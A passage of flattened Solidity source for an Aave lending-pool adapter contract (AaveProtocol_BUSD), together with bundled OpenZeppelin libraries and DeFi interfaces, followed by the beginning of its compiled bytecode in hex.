Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\upgrades\contracts\Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is Initializable, IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ function initialize(string memory name, string memory symbol, uint8 decimals) public initializer { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\math\SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts-ethereum-package\contracts\utils\Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts\interfaces\defi\IDefiProtocol.sol pragma solidity ^0.5.12; interface IDefiProtocol { /** * @notice Transfer tokens from sender to DeFi protocol * @param token Address of token * @param amount Value of token to deposit * @return new balances of each token */ function handleDeposit(address token, uint256 amount) external; function handleDeposit(address[] calldata tokens, uint256[] calldata amounts) external; /** * @notice Transfer tokens from DeFi protocol to beneficiary * @param token Address of token * @param amount Denormalized value of token to withdraw * @return new balances of each token */ function withdraw(address beneficiary, address token, uint256 amount) external; /** * @notice Transfer tokens from DeFi protocol to beneficiary * @param amounts Array of amounts to withdraw, in order of supportedTokens() * @return new balances of each token */ function withdraw(address beneficiary, uint256[] calldata amounts) external; /** * @notice Claim rewards. Reward tokens will be stored on protocol balance. * @return tokens and their amounts received */ function claimRewards() external returns(address[] memory tokens, uint256[] memory amounts); /** * @notice Withdraw reward tokens to user * @dev called by SavingsModule * @param token Reward token to withdraw * @param user Who should receive tokens * @param amount How many tokens to send */ function withdrawReward(address token, address user, uint256 amount) external; /** * @dev This function is not view because on some protocols * (Compound, RAY with Compound oportunity) it may cause storage writes */ function balanceOf(address token) external returns(uint256); /** * @notice Balance of all tokens supported by protocol * @dev This function is not view because on some protocols * (Compound, RAY with Compound oportunity) it may cause storage writes */ function balanceOfAll() external returns(uint256[] memory); /** * @notice Returns normalized (to USD with 18 decimals) summary balance * of pool using all tokens in this protocol */ function normalizedBalance() external returns(uint256); function supportedTokens() external view returns(address[] memory); function supportedTokensCount() external view returns(uint256); function supportedRewardTokens() external view returns(address[] memory); function isSupportedRewardToken(address token) external view returns(bool); /** * @notice Returns if this protocol can swap all it's normalizedBalance() to specified token */ function canSwapToToken(address token) external view returns(bool); } // File: contracts\interfaces\defi\aave\IAaveLendingPoolAddressesProvider.sol pragma solidity ^0.5.0; /** @title IAaveLendingPoolAddressesProvider interface @notice provides the interface to fetch the LendingPoolCore address */ interface IAaveLendingPoolAddressesProvider { function getLendingPool() external view returns (address); function getLendingPoolCore() external view returns (address payable); function getLendingPoolConfigurator() external view returns (address); function getLendingPoolDataProvider() external view returns (address); function getLendingPoolParametersProvider() external view returns (address); function getTokenDistributor() external view returns (address); function getFeeProvider() external view returns (address); function getLendingPoolLiquidationManager() external view returns (address); function getLendingPoolManager() external view returns (address); function getPriceOracle() external view returns (address); function getLendingRateOracle() external view returns (address); } // File: contracts\interfaces\defi\aave\IAaveLendingPoolCore.sol pragma solidity ^0.5.16; interface IAaveLendingPoolCore { /** * @dev gets the aToken contract address for the reserve * @param _reserve the reserve address * @return the address of the aToken contract **/ function getReserveATokenAddress(address _reserve) external view returns (address); } // File: contracts\interfaces\defi\aave\IAaveLendingPool.sol pragma solidity ^0.5.16; interface IAaveLendingPool { /** * @dev deposits The underlying asset into the reserve. A corresponding amount of the overlying asset (aTokens) * is minted. * @param _reserve the address of the reserve * @param _amount the amount to be deposited * @param _referralCode integrators are assigned a referral code and can potentially receive rewards. **/ function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external payable; } // File: contracts\interfaces\defi\aave\IAToken.sol pragma solidity ^0.5.16; interface IAToken { //ERC20 functions function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); //AToken functions /** * @dev redeems aToken for the underlying asset * @param _amount the amount being redeemed **/ function redeem(uint256 _amount) external ; } // File: @openzeppelin\contracts-ethereum-package\contracts\GSN\Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin\contracts-ethereum-package\contracts\ownership\Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize(address sender) public initializer { _owner = sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } // File: contracts\common\Base.sol pragma solidity ^0.5.12; /** * Base contract for all modules */ contract Base is Initializable, Context, Ownable { address constant ZERO_ADDRESS = address(0); function initialize() public initializer { Ownable.initialize(_msgSender()); } } // File: contracts\core\ModuleNames.sol pragma solidity ^0.5.12; /** * @dev List of module names */ contract ModuleNames { // Pool Modules string internal constant MODULE_ACCESS = "access"; string internal constant MODULE_SAVINGS = "savings"; string internal constant MODULE_INVESTING = "investing"; string internal constant MODULE_STAKING = "staking"; string internal constant MODULE_DCA = "dca"; // External Modules (used to store addresses of external contracts) string internal constant CONTRACT_RAY = "ray"; } // File: contracts\common\Module.sol pragma solidity ^0.5.12; /** * Base contract for all modules */ contract Module is Base, ModuleNames { event PoolAddressChanged(address newPool); address public pool; function initialize(address _pool) public initializer { Base.initialize(); setPool(_pool); } function setPool(address _pool) public onlyOwner { require(_pool != ZERO_ADDRESS, "Module: pool address can't be zero"); pool = _pool; emit PoolAddressChanged(_pool); } function getModuleAddress(string memory module) public view returns(address){ require(pool != ZERO_ADDRESS, "Module: no pool"); (bool success, bytes memory result) = pool.staticcall(abi.encodeWithSignature("get(string)", module)); //Forward error from Pool contract if (!success) assembly { revert(add(result, 32), result) } address moduleAddress = abi.decode(result, (address)); // string memory error = string(abi.encodePacked("Module: requested module not found - ", module)); // require(moduleAddress != ZERO_ADDRESS, error); require(moduleAddress != ZERO_ADDRESS, "Module: requested module not found"); return moduleAddress; } } // File: @openzeppelin\contracts-ethereum-package\contracts\access\Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: contracts\modules\defi\DefiOperatorRole.sol pragma solidity ^0.5.12; contract DefiOperatorRole is Initializable, Context { using Roles for Roles.Role; event DefiOperatorAdded(address indexed account); event DefiOperatorRemoved(address indexed account); Roles.Role private _operators; function initialize(address sender) public initializer { if (!isDefiOperator(sender)) { _addDefiOperator(sender); } } modifier onlyDefiOperator() { require(isDefiOperator(_msgSender()), "DefiOperatorRole: caller does not have the DefiOperator role"); _; } function addDefiOperator(address account) public onlyDefiOperator { _addDefiOperator(account); } function renounceDefiOperator() public { _removeDefiOperator(_msgSender()); } function isDefiOperator(address account) public view returns (bool) { return _operators.has(account); } function _addDefiOperator(address account) internal { _operators.add(account); emit DefiOperatorAdded(account); } function _removeDefiOperator(address account) internal { _operators.remove(account); emit DefiOperatorRemoved(account); } } // File: contracts\interfaces\defi\ICErc20.sol pragma solidity ^0.5.12; /** * Most important functions of Compound CErc20 token. * Source: https://github.com/compound-finance/compound-protocol/blob/master/contracts/CTokenInterfaces.sol * * Original interface name: CErc20Interface * but we use our naming covention. */ //solhint-disable func-order contract ICErc20 { /*** User Interface of CTokenInterface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function accrueInterest() external returns (uint256); /*** User Interface of CErc20Interface ***/ function mint(uint mintAmount) external returns (uint256); function redeem(uint redeemTokens) external returns (uint256); function redeemUnderlying(uint redeemAmount) external returns (uint256); } // File: contracts\interfaces\defi\IComptroller.sol pragma solidity ^0.5.16; interface IComptroller { function claimComp(address holder) external; function claimComp(address[] calldata holders, address[] calldata cTokens, bool borrowers, bool suppliers) external; function getCompAddress() external view returns (address); } // File: contracts\modules\defi\ProtocolBase.sol pragma solidity ^0.5.12; contract ProtocolBase is Module, DefiOperatorRole, IDefiProtocol { uint256 constant MAX_UINT256 = uint256(-1); event RewardTokenClaimed(address indexed token, uint256 amount); using SafeMath for uint256; using SafeERC20 for IERC20; mapping(address=>uint256) public rewardBalances; //Mapping of already claimed amounts of reward tokens function initialize(address _pool) public initializer { Module.initialize(_pool); DefiOperatorRole.initialize(_msgSender()); } function upgrade(address rtkn, uint256 newStoredBalance) public onlyOwner { require(rewardBalances[rtkn] == 0, "No upgrade required"); uint256 balance = IERC20(rtkn).balanceOf(address(this)); require(newStoredBalance <= balance, "Can not store more than available"); rewardBalances[rtkn] = newStoredBalance; } function supportedRewardTokens() public view returns(address[] memory); function isSupportedRewardToken(address token) public view returns(bool); function cliamRewardsFromProtocol() internal; function claimRewards() public onlyDefiOperator returns(address[] memory tokens, uint256[] memory amounts){ cliamRewardsFromProtocol(); // Check what we received address[] memory rewardTokens = supportedRewardTokens(); uint256[] memory rewardAmounts = new uint256[](rewardTokens.length); uint256 receivedRewardTokensCount; for(uint256 i = 0; i < rewardTokens.length; i++) { address rtkn = rewardTokens[i]; uint256 newBalance = IERC20(rtkn).balanceOf(address(this)); if(newBalance > rewardBalances[rtkn]) { receivedRewardTokensCount++; rewardAmounts[i] = newBalance.sub(rewardBalances[rtkn]); rewardBalances[rtkn] = newBalance; } } //Fill result arrays tokens = new address[](receivedRewardTokensCount); amounts = new uint256[](receivedRewardTokensCount); if(receivedRewardTokensCount > 0) { uint256 j; for(uint256 i = 0; i < rewardTokens.length; i++) { if(rewardAmounts[i] > 0) { tokens[j] = rewardTokens[i]; amounts[j] = rewardAmounts[i]; j++; } } } } function withdrawReward(address token, address user, uint256 amount) public onlyDefiOperator { require(isSupportedRewardToken(token), "ProtocolBase: not reward token"); rewardBalances[token] = rewardBalances[token].sub(amount); IERC20(token).safeTransfer(user, amount); } } // File: contracts\modules\defi\AaveProtocol.sol pragma solidity ^0.5.12; contract AaveProtocol is ProtocolBase { uint256 constant MAX_UINT256 = uint256(-1); using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public baseToken; uint8 public decimals; IAToken public aToken; IAaveLendingPool public lendingPool; IAaveLendingPoolCore public lendingPoolCore; uint16 public aaveReferralCode; function initialize(address _pool, address _token, address aaveAddressProvider, uint16 _aaveReferralCode) public initializer { ProtocolBase.initialize(_pool); baseToken = IERC20(_token); aaveReferralCode = _aaveReferralCode; lendingPool = IAaveLendingPool(IAaveLendingPoolAddressesProvider(aaveAddressProvider).getLendingPool()); address payable _lendingPool = IAaveLendingPoolAddressesProvider(aaveAddressProvider).getLendingPoolCore(); lendingPoolCore = IAaveLendingPoolCore(address(_lendingPool)); aToken = IAToken(lendingPoolCore.getReserveATokenAddress(_token)); decimals = ERC20Detailed(_token).decimals(); baseToken.safeApprove(address(lendingPoolCore), MAX_UINT256); } function handleDeposit(address token, uint256 amount) public onlyDefiOperator { require(token == address(baseToken), "AAVEProtocol: token not supported"); lendingPool.deposit(token, amount, aaveReferralCode); } function handleDeposit(address[] memory tokens, uint256[] memory amounts) public onlyDefiOperator { require(tokens.length == 1 && amounts.length == 1, "AAVEProtocol: wrong count of tokens or amounts"); handleDeposit(tokens[0], amounts[0]); } function withdraw(address beneficiary, address token, uint256 amount) public onlyDefiOperator { require(token == address(baseToken), "AAVEProtocol: token not supported"); aToken.redeem(amount); baseToken.safeTransfer(beneficiary, amount); } function withdraw(address beneficiary, uint256[] memory amounts) public onlyDefiOperator { require(amounts.length == 1, "AAVEProtocol: wrong amounts array length"); aToken.redeem(amounts[0]); baseToken.safeTransfer(beneficiary, amounts[0]); } function balanceOf(address token) public returns(uint256) { if (token != address(baseToken)) return 0; return aToken.balanceOf(address(this)); } function balanceOfAll() public returns(uint256[] memory) { uint256[] memory balances = new uint256[](1); balances[0] = aToken.balanceOf(address(this)); return balances; } function normalizedBalance() public returns(uint256) { uint256 balance = aToken.balanceOf(address(this)); return normalizeAmount(balance); } function canSwapToToken(address token) public view returns(bool) { return (token == address(baseToken)); } function supportedTokens() public view returns(address[] memory){ address[] memory tokens = new address[](1); tokens[0] = address(baseToken); return tokens; } function supportedTokensCount() public view returns(uint256) { return 1; } function supportedRewardTokens() public view returns(address[] memory) { address[] memory rtokens = new address[](0); return rtokens; } function isSupportedRewardToken(address) public view returns(bool) { return false; } function cliamRewardsFromProtocol() internal { //do nothing } function normalizeAmount(uint256 amount) private view returns(uint256) { if (decimals == 18) { return amount; } else if (decimals > 18) { return amount.div(10**(uint256(decimals)-18)); } else if (decimals < 18) { return amount.mul(10**(18-uint256(decimals))); } } function denormalizeAmount(uint256 amount) private view returns(uint256) { if (decimals == 18) { return amount; } else if (decimals > 18) { return amount.mul(10**(uint256(decimals)-18)); } else if (decimals < 18) { return amount.div(10**(18-uint256(decimals))); } } } // File: contracts\deploy\AaveProtocol_BUSD.sol pragma solidity ^0.5.12; contract AaveProtocol_BUSD is AaveProtocol { function initialize(address _pool, address _token, address aaveAddressProvider, uint16 _aaveReferralCode) public initializer { AaveProtocol.initialize( _pool, _token, aaveAddressProvider, _aaveReferralCode ); } }
0x608060405234801561001057600080fd5b50600436106102415760003560e01c80638da5cb5b11610145578063c55dae63116100bd578063e0622b271161008c578063f2fde38b11610071578063f2fde38b14610899578063f64f329e146108bf578063f7384d50146108e557610241565b8063e0622b2714610865578063e49fba6b1461089157610241565b8063c55dae63146107f9578063c662ff2414610801578063d9180a0014610827578063d9caed121461082f57610241565b8063a0c1f15e11610114578063b002249d116100f9578063b002249d14610795578063b9c3da0f1461079d578063c4d66de8146107d357610241565b8063a0c1f15e14610785578063a59a99731461078d57610241565b80638da5cb5b146107155780638f32d59b1461071d57806393c8dc6d146107395780639b8617801461075f57610241565b80634437152a116101d857806370a08231116101a757806371dc760f1161018c57806371dc760f146105b45780638129fc1c1461065a5780638293744b1461066257610241565b806370a0823114610586578063715018a6146105ac57610241565b80634437152a146103f357806359e8dc9714610419578063628cb95e146104455780636c6874d91461045f57610241565b80632e112757116102145780632e112757146102e9578063313ce5671461032c578063372500ab1461034a57806343cdf1f7146103eb57610241565b80630b189c62146102465780630d7ff8871461026557806316f0115b14610289578063208e509f14610291575b600080fd5b61024e61090b565b6040805161ffff9092168252519081900360200190f35b61026d61092d565b604080516001600160a01b039092168252519081900360200190f35b61026d61093c565b61029961094b565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102d55781810151838201526020016102bd565b505050509050019250505060405180910390f35b61032a600480360360808110156102ff57600080fd5b5080356001600160a01b03908116916020810135821691604082013516906060013561ffff16610a1c565b005b610334610ace565b6040805160ff9092168252519081900360200190f35b610352610aef565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561039657818101518382015260200161037e565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156103d55781810151838201526020016103bd565b5050505090500194505050505060405180910390f35b61032a610dcc565b61032a6004803603602081101561040957600080fd5b50356001600160a01b0316610dde565b61032a6004803603604081101561042f57600080fd5b506001600160a01b038135169060200135610ee8565b61044d611029565b60408051918252519081900360200190f35b61032a6004803603604081101561047557600080fd5b81019060208101813564010000000081111561049057600080fd5b8201836020820111156104a257600080fd5b803590602001918460208302840111640100000000831117156104c457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561051457600080fd5b82018360208201111561052657600080fd5b8035906020019184602083028401116401000000008311171561054857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110cf945050505050565b61044d6004803603602081101561059c57600080fd5b50356001600160a01b0316611198565b61032a611250565b61026d600480360360208110156105ca57600080fd5b8101906020810181356401000000008111156105e557600080fd5b8201836020820111156105f757600080fd5b8035906020019184600183028401116401000000008311171561061957600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061130b945050505050565b61032a61158e565b61032a6004803603604081101561067857600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156106a357600080fd5b8201836020820111156106b557600080fd5b803590602001918460208302840111640100000000831117156106d757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611640945050505050565b61026d611773565b610725611782565b604080519115158252519081900360200190f35b61044d6004803603602081101561074f57600080fd5b50356001600160a01b03166117a8565b6107256004803603602081101561077557600080fd5b50356001600160a01b03166117ba565b61026d6117ce565b61026d6117dd565b6102996117ec565b61032a600480360360608110156107b357600080fd5b506001600160a01b03813581169160208101359091169060400135611848565b61032a600480360360208110156107e957600080fd5b50356001600160a01b0316611943565b61026d6119fe565b61032a6004803603602081101561081757600080fd5b50356001600160a01b0316611a0d565b610299611a5c565b61032a6004803603606081101561084557600080fd5b506001600160a01b03813581169160208101359091169060400135611a6e565b61032a6004803603604081101561087b57600080fd5b506001600160a01b038135169060200135611b9c565b61044d611d4d565b61032a600480360360208110156108af57600080fd5b50356001600160a01b0316611d52565b610725600480360360208110156108d557600080fd5b50356001600160a01b0316611db4565b610725600480360360208110156108fb57600080fd5b50356001600160a01b0316611dcd565b606c5474010000000000000000000000000000000000000000900461ffff1681565b606c546001600160a01b031681565b6066546001600160a01b031681565b604080516001808252818301909252606091829190602080830190803883395050606a54604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290519394506001600160a01b03909116926370a0823192506024808301926020929190829003018186803b1580156109d357600080fd5b505afa1580156109e7573d6000803e3d6000fd5b505050506040513d60208110156109fd57600080fd5b505181518290600090610a